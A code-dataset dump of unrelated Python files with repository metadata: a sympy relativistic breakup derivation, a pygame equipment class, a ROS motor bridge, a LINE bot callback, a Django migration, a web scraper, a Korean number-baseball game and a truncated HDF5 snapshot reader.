calc_planar_riemann_invariant,
calc_spherical_riemann_invariant
)
from my_logging import logger
from caching import memory
from equation_of_motion import alpha
def acceleration_transformation():
sympy.var('a t c gamma beta', positive=True)
rf = sympy.Matrix([a*t**2/2,c*t])
boost = gamma*sympy.Matrix([[1,sympy.sqrt(1-1/gamma**2)],
[sympy.sqrt(1-1/gamma**2),1]])
lf = boost*rf
lf.simplify()
_ = (lf[0].diff(t)/lf[1].diff(t)).diff(t)/lf[1].diff(t)
_ = _.series(t,0,1)
_ = _.removeO()
_ = _.simplify()
return _
@memory.cache
def traditional_planar_breakup():
sympy.var('M gamma t A p_i gamma_i alpha w c n n_1 w_1 eta a mu',
positive=True)
def prepare_riemann_invariant():
_ = calc_planar_riemann_invariant()
_ = _.subs(psi, sympy.log(gamma))
_ = _ - _.subs({gamma:gamma_i, p:p_i})
return _
def make_eqns():
return Box(
{'eom':M*gamma*c/t - p*A,
'ri':prepare_riemann_invariant(),
'baryon':A*(n_1*w_1-n*w),
'adiabatic':p/p_i-(n/n_1)**eta}
)
def make_gamma_vs_t():
xi = sympy.Symbol('xi', positive=True)
_ = u.eom
_ = _.subs(M,A*w*p/c**2)
_ = _/p/A
_ = _.simplify()
_ = _.subs(sympy.solve(u.baryon, w, dict=True)[0])
_ = _.subs(sympy.solve(u.adiabatic, n, dict=True)[0])
_ = _.subs(sympy.solve(u.ri, p, dict=True)[0])
_ = _.subs(eta ,xi**2+1)
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = sympy.solve(_, gamma)[0]
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = _.subs(xi, sympy.sqrt(eta-1))
return _
@memory.cache
def calc_t_breakup():
xi = sympy.Symbol('xi', positive=True)
_ = (t/gamma)**2*(a/w)*(mu*n*c**2)/p
_ = _.subs(sympy.solve(u.baryon, w, dict=True)[0])
_ = _.subs(sympy.solve(u.adiabatic, n, dict=True)[0])
_ = _.subs(sympy.solve(u.ri, p, dict=True)[0])
_ = _.subs(a, c*gamma/t)
_ = _.subs(gamma, u.gamma_vs_t)
_ = _.subs(eta, xi**2+1)
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = sympy.solve(_-1, t)[0]
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = _.subs(xi, sympy.sqrt(eta-1))
return _
def calc_gamma_breakup():
xi = sympy.Symbol('xi', positive=True)
_ = u.gamma_vs_t.subs(t, u.t_breakup)
_ = _.subs(p_i, mu*gamma_i*n_1*c**2)
_ = _.subs(eta, xi**2+1)
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = _.subs(xi, sympy.sqrt(eta-1))
return _
logger.debug('begin alternative_approach')
u = make_eqns()
logger.debug('finished make_eqns')
u['gamma_vs_t'] = make_gamma_vs_t()
logger.debug('finished make_gamma_vs_t')
u['t_breakup'] = calc_t_breakup()
logger.debug('finished calc_t_breakup')
u['gamma_breakup'] = calc_gamma_breakup()
logger.debug('finished calc_gamma_breakup')
return u
def traditional_spherical_breakup():
sympy.var('gamma w n w_1 n_1 p_i M a mu gamma_i t_i',
positive=True)
def make_ri():
xi = sympy.Symbol('xi', positive=True)
_ = calc_spherical_riemann_invariant()
_ = _.subs(psi, sympy.log(gamma))
_ = _.subs(p,xi)
_ = _.subs(r, t*c)
_ = _ - _.subs({gamma:gamma_i,
t:t_i,
xi:p_i})
_ = _.subs(xi, p)
return _
def make_eom():
rhs = M*gamma*c/t
area = (alpha*t*c)**2
lhs = p*area
_ = sympy.log(rhs) - sympy.log(lhs)
_ = sympy.expand_power_base(_, force=True)
_ = _.simplify()
_ = sympy.expand(_)
return _
def make_baryon():
rhs = alpha**2*c**2*t**2*w*n
lhs = rhs.subs({t:t_i,w:w_1,n:n_1})
_ = sympy.log(lhs) - sympy.log(rhs)
_ = sympy.expand(_)
return _
def make_adiabatic():
rhs = sympy.log(p) - eta*sympy.log(n)
lhs = rhs.subs({p:p_i,n:n_1})
_ = sympy.log(rhs) - sympy.log(lhs)
_ = sympy.expand(_)
return _
def make_eqns():
return Box(
{'eom':make_eom(),
'ri':make_ri(),
'baryon':make_baryon(),
'adiabatic':make_adiabatic()})
def make_gamma_vs_t():
xi = sympy.Symbol('xi', positive=True)
_ = u.eom
_ = _.subs(M, alpha**2*t**2*c**2*w*p/c**2)
_ = _.subs(sympy.solve(u.baryon, w, dict=True)[0])
_ = sympy.expand(_)
_ = _.subs(sympy.solve(u.adiabatic, sympy.log(n), dict=True)[0])
_ = sympy.expand(_)
_ = _.subs(sympy.solve(u.ri, sympy.log(p), dict=True)[0])
_ = sympy.expand(_)
_ = _.subs(nu, 2)
_ = sympy.expand(_)
_ = sympy.solve(_, sympy.log(gamma))[0]
_ = sympy.expand(_)
return _
def calc_t_breakup():
xi = sympy.Symbol('xi', positive=True)
_ = (t/gamma)**2*(a/w)*(mu*n*c**2)/p
_ = _.subs(a, c*gamma/t)
_ = _.subs(p, xi)
_ = sympy.log(_)
_ = sympy.expand(_)
_ = _.subs(xi, p)
_ = _.subs(sympy.solve(u.baryon, w, dict=True)[0])
_ = sympy.expand(_)
_ = _.subs(sympy.solve(u.adiabatic, sympy.log(n), dict=True)[0])
_ = sympy.expand(_)
_ = _.subs(sympy.solve(u.ri, sympy.log(p), dict=True)[0])
_ = _.subs(nu, 2)
_ = sympy.expand(_)
_ = _.subs(sympy.log(gamma), u.gamma_vs_t)
_ = sympy.expand(_)
_ = _.subs(eta, sympy.Rational(4,3))
_ = _.n()
_ = sympy.solve(_, sympy.log(t))[0]
#_ = -_.subs(sympy.log(t),0)/_.subs(sympy.log(t),xi).diff(xi)
_ = sympy.expand(_)
return _
def calc_gamma_breakup():
_ = u.gamma_vs_t
_ = sympy.expand(_)
_ = _.subs(sympy.log(t), u.t_breakup)
_ = _.subs(p_i, n_1*mu*c**2*gamma_i)
_ = _.subs(eta, sympy.Rational(4,3))
_ = _.subs(w_1, t_i*c/gamma_i)
_ = _.n()
_ = sympy.expand(_)
_ = _.simplify()
return _
logger.debug('begin spherical breakup calculation')
u = make_eqns()
logger.debug('finished make eqns')
u['gamma_vs_t'] = make_gamma_vs_t()
logger.debug('finished gamma_vs_t')
u['t_breakup'] = calc_t_breakup()
logger.debug('finished t breakup')
u['gamma_breakup'] = calc_gamma_breakup()
logger.debug('finished gamma breakup')
return [u.gamma_breakup,
u.t_breakup.subs({p_i:gamma_i*mu*n_1*c**2,
w_1:t_i*c/gamma_i}).simplify()]
def calc_planar_breakup():
sympy.var('p_i gamma gamma_i p_t gamma_t rho_t rho_i xi',
positive=True)
initial = {p:p_i,
gamma:gamma_i}
final = {p:p_t,
gamma:gamma_t}
ri = calc_planar_riemann_invariant().subs(psi, sympy.log(gamma))
eqn1 = ri.subs(initial) - ri.subs(final)
eqn2 = sympy.log(p_t) - sympy.log(p_i) - eta*(sympy.log(rho_t)-sympy.log(rho_i))
_ = [eqn1, eqn2]
_ = sympy.Matrix(_)
_ = _.subs(p_i, gamma_i*rho_i)
_ = _.subs(rho_t, p_t)
_ = _.subs(eta, sympy.Rational(4,3))
_ = sympy.solve(_,[gamma_t, p_t])[0]
sol = _
return sol
if __name__ == '__main__':
show(locals())
| [
"almog.yalin@gmail.com"
] | almog.yalin@gmail.com |
bc52fa60b953af658824b701fbcffe0304f2afca | 9b248118c0c657e2c1d90f6fe98be8bfa5a4635b | /src/equipment.py | 6f744228adf7a27660969ff1a48637a9293c64ca | [] | no_license | SanbyB/LD48 | 6d6a3ef37e64032f5b7ac38a09cf30d76932cd34 | 974f08267fc216c7af40f2a37ee8bff65c915081 | refs/heads/main | 2023-04-03T17:54:02.441238 | 2021-04-26T19:57:20 | 2021-04-26T19:57:20 | 359,168,756 | 0 | 0 | null | 2021-04-18T14:40:10 | 2021-04-18T14:40:09 | null | UTF-8 | Python | false | false | 1,751 | py | from resources import EQUIPMENT_PICKAXE
import pygame
from math import floor, cos, sin
EQUIPMENT_SIZE = 40
HAND_LENGTH = 20
HAND_ANGLE = 45
SWING = 180
class Equipment:
def __init__(self, world, player):
self.world = world
self.player = player
self.x = player.x
self.y = player.y
self.targetX = player.x
self.targetY = player.y
self.angle = HAND_ANGLE
self.targetAngle = HAND_ANGLE
self.swing = 0
def update(self):
flipAdd = HAND_LENGTH if self.player.isFlipped else -HAND_LENGTH
self.targetX = self.player.x + (self.player.width / 2) - (EQUIPMENT_SIZE / 2)
self.targetY = self.player.y + (self.player.height / 2) - (EQUIPMENT_SIZE / 2)
ang = -HAND_ANGLE + self.swing
self.targetAngle = (ang if self.player.isFlipped else -ang)
self.swing = self.swing * 0.8
self.x = self.x + (self.targetX - self.x) * 0.5
self.y = self.y + (self.targetY - self.y) * 0.5
self.angle = self.angle + (self.targetAngle - self.angle) * 0.5
return
def render(self, surface, camera):
radians = (self.angle / 180) * 3.1415
posX = self.x - camera.x - floor(HAND_LENGTH * sin(radians))
posY = self.y - camera.y - floor(HAND_LENGTH * cos(radians))
direction = True
scaledImage = pygame.transform.scale(EQUIPMENT_PICKAXE, (EQUIPMENT_SIZE, EQUIPMENT_SIZE))
flippedImage = pygame.transform.flip(scaledImage, True, False) if direction else scaledImage
rotatedImage = pygame.transform.rotate(flippedImage, self.angle)
surface.blit(rotatedImage, (posX, posY))
return
def onAttack(self):
self.swing = SWING
return
| [
"callumimacmillan@gmail.com"
] | callumimacmillan@gmail.com |
a419fbe34f9f7113d9641437e08a1811233f987a | 063b19eb0e18bee85c588b06490285c9aed1e015 | /larc_control/script/motors_bridge.py | acd6223edbca56be06d7397e0846f8c662f42517 | [] | no_license | edgarcamilocamacho/larc_2019 | fe4e8cd0cb5115e7cd1eca1f961d0a84951a86f6 | 64e263631f878ef6cf59010c8561cb7feee24497 | refs/heads/master | 2022-04-13T11:48:54.351426 | 2020-04-05T15:38:39 | 2020-04-05T15:38:39 | 213,656,106 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,902 | py | import numpy as np
import rospy
from std_msgs.msg import Float64, String
from sensor_msgs.msg import JointState
from geometry_msgs.msg import Vector3
from dynamixel_controllers.srv import TorqueEnable
class MotorsBridge:
def __init__(self):
self.pubs = {
'cmd_vel': rospy.Publisher("/cmd_vel", Vector3, queue_size = 1),
'rotating_base': rospy.Publisher("/rotating_base/command", Float64, queue_size = 1),
'zipper': rospy.Publisher("/zipper/command", Float64, queue_size = 1),
'shoulder': rospy.Publisher("/shoulder/command", Float64, queue_size = 1),
'elbow': rospy.Publisher("/elbow/command", Float64, queue_size = 1),
'wrist_x': rospy.Publisher("/wrist_x/command", Float64, queue_size = 1),
'wrist_y': rospy.Publisher("/wrist_y/command", Float64, queue_size = 1),
'gripper': rospy.Publisher("/gripper/command", Float64, queue_size = 1),
}
## Plan
self.plan_trajectories = None
self.plan_index = 0
self.plan_frames = 0
def go_to_position(self, joints, pos):
for i, joint in enumerate(joints):
self.pubs[joint].publish(pos[i])
def plan_to_angles(self, joints, pos, joint_state, frames):
self.plan_index = 0
self.plan_trajectories = {}
self.plan_frames = frames
for i, joint in enumerate(joints):
origin = joint_state.position[joint_state.name.index(joint)]
target = pos[i]
self.plan_trajectories[joint] = np.linspace(origin, target, frames)
def plan_step(self):
for joint in self.plan_trajectories:
self.pubs[joint].publish( self.plan_trajectories[joint][self.plan_index] )
self.plan_index += 1
if self.plan_index >= self.plan_frames:
return True
else:
return False
| [
"camilo.im93@gmail.com"
] | camilo.im93@gmail.com |
ab73cffd00347ebfe47b2bcd4096d0714af76787 | b1cfd71e8b968a7dae7a3af107d302eccc6c829c | /mydewsbotslib/linepy/callback.py | 62e6773d5ed087faee2f5b1469d5e9a4068d5ae1 | [] | no_license | mydewsbot/projectbotAlpha | c0c597d3a524ca82b45bdcafe3cb36f507441c74 | 8aa9316e0be026f5456a94120dd980131778bfe0 | refs/heads/master | 2022-12-19T23:52:27.744640 | 2020-09-08T11:27:33 | 2020-09-08T11:27:33 | 293,788,985 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 700 | py | # -*- coding: utf-8 -*-
class Callback(object):
def __init__(self, callback):
self.callback = callback
def PinVerified(self, pin):
self.callback("Input this PIN code '" + pin + "' on your LINE for smartphone in 2 minutes")
def QrUrl(self, url, showQr=True):
if showQr:
notice='or scan this QR '
else:
notice=''
self.callback('' + notice + '' + url)
if showQr:
try:
import pyqrcode
url = pyqrcode.create(url)
self.callback(url.terminal('green', 'white', 1))
except:
pass
def default(self, str):
self.callback(str) | [
"mydewstest@gmail.com"
] | mydewstest@gmail.com |
fc89220d966cb686f06ce8592edc9ec47e3b9827 | 9a28a82f6c3b9ccff3f7a7c0d157dc6ddf0af232 | /Table/migrations/0003_collectlist.py | 4517d35a2eac35b5e9747c7e0c59a17fec199963 | [
"MIT"
] | permissive | KarryBanana/ckr-zfy | df30811ddfee379908a5dcd4dede3b8cf8df1e9e | 926160fc23e18b10189cd17861b81448b770c50d | refs/heads/master | 2022-12-01T23:49:22.645046 | 2020-08-19T16:28:47 | 2020-08-19T16:28:47 | 288,340,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 842 | py | # Generated by Django 3.0.3 on 2020-08-14 02:35
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('Table', '0002_auto_20200813_1616'),
]
operations = [
migrations.CreateModel(
name='CollectList',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('file', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='Table.File')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='collected', to=settings.AUTH_USER_MODEL)),
],
),
]
| [
"bill881@126.com"
] | bill881@126.com |
eb31b3f4c4a4eba183840829ff5a1a8b5743c084 | 07c6c408a7993cba476538fa9539def2fc3efaf9 | /BeautifulSoupDemo.py | 70ad3c5791bf44c9a87c9463703c9af2d3461420 | [] | no_license | reksHu/BasicPython | 7a6a763f0376371fd48bba81d4c7a0304d16cef5 | 403affc92784349042a6b273fc73a66b734767b4 | refs/heads/master | 2020-03-19T08:10:37.576110 | 2018-06-07T14:43:39 | 2018-06-07T14:43:39 | 136,181,885 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 719 | py | from bs4 import BeautifulSoup
import requests
url ="https://support.office.com/en-us/article/sharepoint-2010-training-c0e164fa-febc-4e6a-8f62-80d2043056c7"
res = requests.get(url)
soup = BeautifulSoup(res.text,'html.parser')
sections = soup.select(".ocpSection section.ocpSection table tbody")
for sec in sections:
# print(sec.text)
tds = sec.select("td")
for td in tds:
print(td.select("p")[0].text)
print(td.select("p")[1].text)
links = td.find_all("a")
for l in links:
href = l.get('href')
if("http" in href):
print(l.get('href'))
else:
print("https://support.office.com/en-us/article/"+l.get('href'))
| [
"ahhongchun@126.com"
] | ahhongchun@126.com |
ac74c9b0a69239a1a14ec0dc841fdb2dbf31ec7d | d6b4b757e1fc9d508af5e81682512b05f4f56bb0 | /quest_manager/objects.py | b01c906dcc9ac1ab0df37d8e492a5588bd409d10 | [] | no_license | RayYangFromOrderly/RIDAssistant | 1fbc0ecc83102111d65996edec58e5f49c9fb5ff | d105ab02d86b5a81d2ac1178c7dad9a4a8bcd230 | refs/heads/master | 2023-08-02T16:07:31.453847 | 2021-10-08T06:39:50 | 2021-10-08T06:39:50 | 405,252,772 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 457 | py |
from PySide6.QtCore import QObject, QRect
from PySide6.QtWidgets import QRadioButton
import os
import json
from abc import ABC
from tools.objects import Tool
class QuestManager(Tool):
def setup(self):
from .ui import QuestManagerPanel
panel = QuestManagerPanel(self)
self.assistant.add_tab(panel)
class Quest:
def __init__(self):
self.name = ''
class QuestSeries:
def __init__(self):
self.name = '' | [
"ridprivates@gmail.com"
] | ridprivates@gmail.com |
93e107ae55cce47fff4fcdd575f75ef7cd3eb705 | 8958511bb0c309c931f4d370c14c5c05c111a6a9 | /numberBaseball_python/hard_mode_number_base_ball_game.py | 775791596791c1c52f3a2ec136b9166eb8da9e2f | [] | no_license | min9804/toyPorject | c0e9b590676433aebb500bd4aa30b5b0e49429f2 | 1dce5aa441fda2f8a37ceeb3891ed842f7c4624a | refs/heads/main | 2023-02-25T20:50:30.593416 | 2021-01-31T12:35:47 | 2021-01-31T12:35:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,153 | py | import random
def intro():
print("+------------------------------------------------------+")
print("| 궁극의 숫자 야구 게임(매운맛) |")
print("+------------------------------------------------------+")
print("| 컴퓨터가 수비수가 되어 세 자릿수를 하나 골랐습니다. |")
print("| 각 숫자는 0~9중에 하나며 중복되는 숫자는 없습니다. |")
print("| 모든 숫자와 위피를 맞히면 승리합니다. |")
print("| 숫자와 순서가 둘 다 맞으면 스트라이크 입니다. |")
print("| 숫자만 맞고 순서가 틀리면 볼입니다. |")
print("| 숫자가 틀리면 아웃 입니다. |")
print("+------------------------------------------------------+")
def user_defence(): # 유저 수비수 정하기
t = 0
while t < 3:
t = 0
num_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
global user_select_numbers
user_select_numbers = []
for i in range(1, 4):
num = input(" %s 번째 수비수를 입력하세요: " % str(i))
if num in num_list: # num_list에서 숫자를 뽑고 뽑은 숫자는 리스트에서 제거
num_list.remove(num)
user_select_numbers.append(num)
t = t + 1
elif num in user_select_numbers: # index error 안뜨게 반복으로 처리
t = t - 100
else: # num_list에 있는 숫자가 아닌 문자열 이 입력됬을때 #index error 안뜨게 반복으로 처리
t = t - 1000
if t == 3: # 정상 적으로 숫자를 뽑앗을 때 str로 저장되있던 수들을 int로 변경
for i in range(0, 3):
n = user_select_numbers[i]
n = int(n)
user_select_numbers[i] = n
print("########################################################")
print("당신의 수비수:", user_select_numbers)
print("########################################################")
elif -500 < t < 0: # 중복
print("중복된 수를 선택할 수 없습니다.")
elif t < -500: # 예외문자열
print("0~9사이의 숫자를 입력해 주세요.")
def rcp(): # 가위바위보
print("공격 순서를 정합니다.")
t = 0
global winner
while t == 0: # t != 0 이되면 반복문 탈출
com = random.choice(["가위", "바위", "보"])
print("########################################################")
user = input("가위~바위~보!!: ")
print("########################################################")
winner = None
if com == "가위":
if user == "가위":
winner = "무승부"
elif user == "바위":
winner = "user"
elif user == "보":
winner = "computer"
else:
winner = str(user)
elif com == "바위":
if user == "가위":
winner = "computer"
elif user == "바위":
winner = "무승부"
elif user == "보":
winner = "user"
else:
winner = str(user)
else:
if user == "가위":
winner = "user"
elif user == "바위":
winner = "computer"
elif user == "보":
winner = "무승부"
else:
winner = str(user)
if winner == "computer":
print("컴퓨터: ", com)
print("사용자: ", user)
print("승자 : ", "컴퓨터")
print("컴퓨터가 선공 합니다.")
t = 1
elif winner == "user":
print("컴퓨터: ", com)
print("사용자: ", user)
print("승자 : ", "사용자")
print("사용자가 선공 합니다.")
t = 2
elif winner == "무승부":
print("컴퓨터: ", com)
print("사용자: ", user)
print("승자 : ", "무승부")
t = 0
else:
print("가위, 바위, 보 중 하나를 입력해주세요")
t = 0
def user_attack(): # 유저 공격수 처리 알고리즘
global user_st_count
global user_ba_count
global user_ou_count
user_st_count = 0
user_ba_count = 0
user_ou_count = 0
t = 0
while t < 3: # 중복, 예외 문자열 처리
t = 0
num_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
user_guess = []
for i in range(1, 4):
num = input(" %s 번째 공격수를 입력하세요: " % str(i))
if num in num_list:
num_list.remove(num)
user_guess.append(num)
t = t + 1
elif num in user_guess:
t = t - 100
else:
t = t - 1000
if t == 3:
for i in range(0, 3):
n = user_guess[i]
n = int(n)
user_guess[i] = n
print("당신의 공격수:", user_guess)
elif -500 < t < 0:
print("중복된 수를 선택할 수 없습니다.")
elif t < -500:
print("0~9사이의 숫자를 입력해 주세요.")
for i in range(0, 3): # 점수 판단 아고리즘
if user_guess[i] == com_select_numbers[i]:
user_st_count = user_st_count + 1
elif user_guess[i] in com_select_numbers:
user_ba_count = user_ba_count + 1
else:
user_ou_count = user_ou_count + 1
print_user_count()
if user_st_count == 3:
print('경기가 종료 되었습니다.')
print("########################################################")
print("winner: you")
print("########################################################")
quit()
def line_up(): # 컴퓨터 공격 숫자 조합 만들기
num = 122
for i in range(123, 988):
num = num + 1
str_num = str(num)
if str_num[0] != str_num[1]:
if str_num[1] != str_num[2]:
if str_num[2] != str_num[0]:
a = int(str_num[0])
b = int(str_num[1])
c = int(str_num[2])
line_up = []
line_up.append(a)
line_up.append(b)
line_up.append(c)
line_up_list.append(line_up)
# print(line_up_list) #컴퓨터 공격 숫자 조합
def computer_attack(): # 컴퓨터 공격 알고리즘
global numbers
global q
global st_count
global ba_count
global ou_count
# global com_guess
random.shuffle(line_up_list)
com_guess = line_up_list[0] # 숫자 선정(랜덤)
print(com_guess)
line_up_list.remove(com_guess) # 선정 숫자 제거
st_count = 0
ba_count = 0
ou_count = 0
for i in range(0, 3): # 점수판정
if com_guess[i] == user_select_numbers[i]:
st_count = st_count + 1
elif com_guess[i] in user_select_numbers:
ba_count = ba_count + 1
else:
ou_count = ou_count + 1
print_count() # 점수표시
score = []
score.append(st_count)
score.append(ba_count)
score.append(ou_count)
x_count = 0
for j in range(0, len(line_up_list)): # 점수기반 라인업 제거
jd_st_count = 0
jd_ba_count = 0
jd_ou_count = 0
jd_guess = line_up_list[j]
for k in range(0, 3): # 점수판정
if jd_guess[k] == com_guess[k]:
jd_st_count = jd_st_count + 1
elif jd_guess[k] in com_guess:
jd_ba_count = jd_ba_count + 1
else:
jd_ou_count = jd_ou_count + 1
jd_score = []
jd_score.append(jd_st_count)
jd_score.append(jd_ba_count)
jd_score.append(jd_ou_count)
if score != jd_score:
line_up_list[j] = "x"
x_count = x_count + 1
for x in range(0, x_count): # 생성된 "x" 제거
line_up_list.remove("x")
# print(line_up_list) #컴퓨터의 남은 수
q = q + 1
if st_count == 3:
print('경기가 종료 되었습니다.')
print("########################################################")
print("winner: computer")
print("########################################################")
print("컴퓨터의 수비수:", com_select_numbers)
print("########################################################")
quit()
def print_count(): # 컴퓨터 점수판
print("s | " + "🔴 "*st_count + "⚫ "*(3-st_count) + "| " + str(st_count))
print("b | " + "🔴 "*ba_count + "⚫ "*(3-ba_count) + "| " + str(ba_count))
print("o | " + "🔴 "*ou_count + "⚫ "*(3-ou_count) + "| " + str(ou_count))
def print_user_count(): # 유저 점수판
print("s | " + "🔵 "*user_st_count + "⚫ " *
(3-user_st_count) + "| " + str(user_st_count))
print("b | " + "🔵 "*user_ba_count + "⚫ " *
(3-user_ba_count) + "| " + str(user_ba_count))
print("o | " + "🔵 "*user_ou_count + "⚫ " *
(3-user_ou_count) + "| " + str(user_ou_count))
def com_user(): # 컴퓨터 선공
while True:
print("#######################", q +
1, "회차 #########################")
computer_attack()
user_attack()
def user_com(): # 유저 선공
while True:
print("#######################", q +
1, "회차 #########################")
user_attack()
computer_attack()
# 게임시작
intro()
##################################################################
numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
random.shuffle(numbers)
com_select_numbers = []
for i in range(0, 3):
com_select_numbers.append(numbers[i])
# print(com_select_numbers) # 치트키
print("########################################################")
print("컴퓨터가 수비수를 골랏습니다.")
print("########################################################")
##################################################################
line_up_list = []
line_up()
##################################################################
q = 0
user_select_numbers = []
user_defence()
##################################################################
winner = None
rcp()
##################################################################
if winner == "computer":
com_user()
elif winner == "user":
user_com()
##################################################################
| [
"dkdlel4763@naver.com"
] | dkdlel4763@naver.com |
bd349212eb3f4511b8ad176e12164e2de74ec2b6 | 088d3b72005d40dc7231b1f8aed67ab95c37aacb | /speiceio_pybind11/__init__.pyi | 7c4a705fc767e857ab4cec002d4f0a2e404120fc | [] | no_license | speice-io/release-the-gil-pybind11 | 2619c9f0535e178a63b14d96b3aa9c0d4ea95231 | ae00acda367b35ae63142d27867639737e210837 | refs/heads/master | 2022-11-14T07:38:52.383972 | 2020-06-30T21:13:45 | 2020-06-30T21:13:45 | 276,178,253 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | pyi | # Manually-written Python type stubs to assist IDE's.
#
# Theoretically, because annotations are recorded as an `__annotations__` attribute,
# `pybind11` could generate this for us and the IDE/mypy could inspect it at runtime.
# However, as far as I can tell, neither of these things happen in practice.
def fibonacci_gil(n: int) -> int: ...
def fibonacci_nogil(n: int) -> int: ...
def recurse_unlock() -> None: ...
| [
"bradlee@speice.io"
] | bradlee@speice.io |
08e5e8bcec397f406faefe2b85cc0a3453eae8ab | 066f3c6da7a47243a8cf82f8974335ff40e3d051 | /one_hit_wonder/account/migrations/0002_auto_20200522_0224.py | 831d0d2af96af0196f2657aee94037c85d9d71ad | [] | no_license | ylijokic/CS361_Team21 | 42fe16e7dd1acec99c71eb9095530afb2b5cc1ff | 880f833bb87010bd0e672960da42f7d2f9ba6f56 | refs/heads/master | 2022-12-13T19:31:45.606291 | 2020-06-07T21:33:56 | 2020-06-07T21:33:56 | 254,505,078 | 2 | 0 | null | 2022-12-08T09:59:38 | 2020-04-10T00:11:14 | JavaScript | UTF-8 | Python | false | false | 610 | py | # Generated by Django 3.0.6 on 2020-05-22 02:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('account', '0001_initial'),
]
operations = [
migrations.AddConstraint(
model_name='instrument',
constraint=models.UniqueConstraint(fields=('name', 'skill_level'), name='unique_instrument_and_skill'),
),
migrations.AddConstraint(
model_name='location',
constraint=models.UniqueConstraint(fields=('city', 'state', 'zip_code'), name='unique_location'),
),
]
| [
"jordan-hamilton@users.noreply.github.com"
] | jordan-hamilton@users.noreply.github.com |
269d0a6e0bc7c65461c883bde8a46f52797d0340 | bc90cd4a3761dba16e731c5a946878daa3218620 | /readsnapHDF5_without_filling.py | c5c0dcc8fe19a21c264c5f044c8d1217c8f1f3e0 | [] | no_license | djmunoz/diegopy | eb9310068e3aff1c730d0066b4bd80dee080d346 | 248712ca32f963251e4f0ba6a8e372a83dcfba04 | refs/heads/master | 2020-12-24T19:13:37.125349 | 2018-03-06T16:37:10 | 2018-03-06T16:37:10 | 56,263,748 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,552 | py | # import readsnapHDF5 as rs
# header = rs.snapshot_header("snap_063.0")
# mass = rs.read_block("snap_063","MASS",parttype=5) # reads mass for particles of type 5
import numpy as np
import os
import sys
import math
import tables
############
#DATABLOCKS#
############
#descriptions of all datablocks -> add datablocks here!
#TAG:[HDF5_NAME,DIM]
datablocks = {"POS ":["Coordinates",3],
"VEL ":["Velocities",3],
"ID ":["ParticleIDs",1],
"MASS":["Masses",1],
"U ":["InternalEnergy",1],
"RHO ":["Density",1],
"VOL ":["Volume",1],
"CMCE":["Center-of-Mass",3],
"AREA":["Surface Area",1],
"NFAC":["Number of faces of cell",1],
"NE ":["ElectronAbundance",1],
"NH ":["NeutralHydrogenAbundance",1],
"HSML":["SmoothingLength",1],
"SFR ":["StarFormationRate",1],
"AGE ":["StellarFormationTime",1],
"Z ":["Metallicity",1],
"ACCE":["Acceleration",3],
"VEVE":["VertexVelocity",3],
"FACA":["MaxFaceAngle",1],
"COOR":["CoolingRate",1],
"POT ":["Potential",1],
"MACH":["MachNumber",1],
"GAGE":["GFM StellarFormationTime",1],
"GIMA":["GFM InitialMass",1],
"GZ ":["GFM Metallicity",1],
"GMET":["GFM Metals",9],
"GMRE":["GFM MetalsReleased",9],
"GMAR":["GFM MetalMassReleased", 1]}
#####################################################################################################################
# READING ROUTINES #
#####################################################################################################################
###########################
#CLASS FOR SNAPSHOT HEADER#
###########################
class snapshot_header:
def __init__(self, *args, **kwargs):
if (len(args) == 1):
filename = args[0]
if os.path.exists(filename):
curfilename=filename
elif os.path.exists(filename+".hdf5"):
curfilename = filename+".hdf5"
elif os.path.exists(filename+".0.hdf5"):
curfilename = filename+".0.hdf5"
else:
print "[error] file not found : ", filename
sys.exit()
f=tables.openFile(curfilename)
self.npart = f.root.Header._v_attrs.NumPart_ThisFile
self.nall = f.root.Header._v_attrs.NumPart_Total
self.nall_highword = f.root.Header._v_attrs.NumPart_Total_HighWord
self.massarr = f.root.Header._v_attrs.MassTable
self.time = f.root.Header._v_attrs.Time
self.redshift = f.root.Header._v_attrs.Redshift
self.boxsize = f.root.Header._v_attrs.BoxSize
self.filenum = f.root.Header._v_attrs.NumFilesPerSnapshot
self.omega0 = f.root.Header._v_attrs.Omega0
self.omegaL = f.root.Header._v_attrs.OmegaLambda
self.hubble = f.root.Header._v_attrs.HubbleParam
self.sfr = f.root.Header._v_attrs.Flag_Sfr
self.cooling = f.root.Header._v_attrs.Flag_Cooling
self.stellar_age = f.root.Header._v_attrs.Flag_StellarAge
self.metals = f.root.Header._v_attrs.Flag_Metals
self.feedback = f.root.Header._v_attrs.Flag_Feedback
self.double = f.root.Header._v_attrs.Flag_DoublePrecision #GADGET-2
f.close()
else:
#read arguments
self.npart = kwargs.get("npart")
self.nall = kwargs.get("nall")
self.nall_highword = kwargs.get("nall_highword")
self.massarr = kwargs.get("massarr")
self.time = kwargs.get("time")
self.redshift = kwargs.get("redshift")
self.boxsize = kwargs.get("boxsize")
self.filenum = kwargs.get("filenum")
self.omega0 = kwargs.get("omega0")
self.omegaL = kwargs.get("omegaL")
self.hubble = kwargs.get("hubble")
self.sfr = kwargs.get("sfr")
self.cooling = kwargs.get("cooling")
self.stellar_age = kwargs.get("stellar_age")
self.metals = kwargs.get("metals")
self.feedback = kwargs.get("feedback")
self.double = kwargs.get("double")
#set default values
if (self.npart == None):
self.npart = np.array([0,0,0,0,0,0], dtype="int32")
if (self.nall == None):
self.nall = np.array([0,0,0,0,0,0], dtype="uint32")
if (self.nall_highword == None):
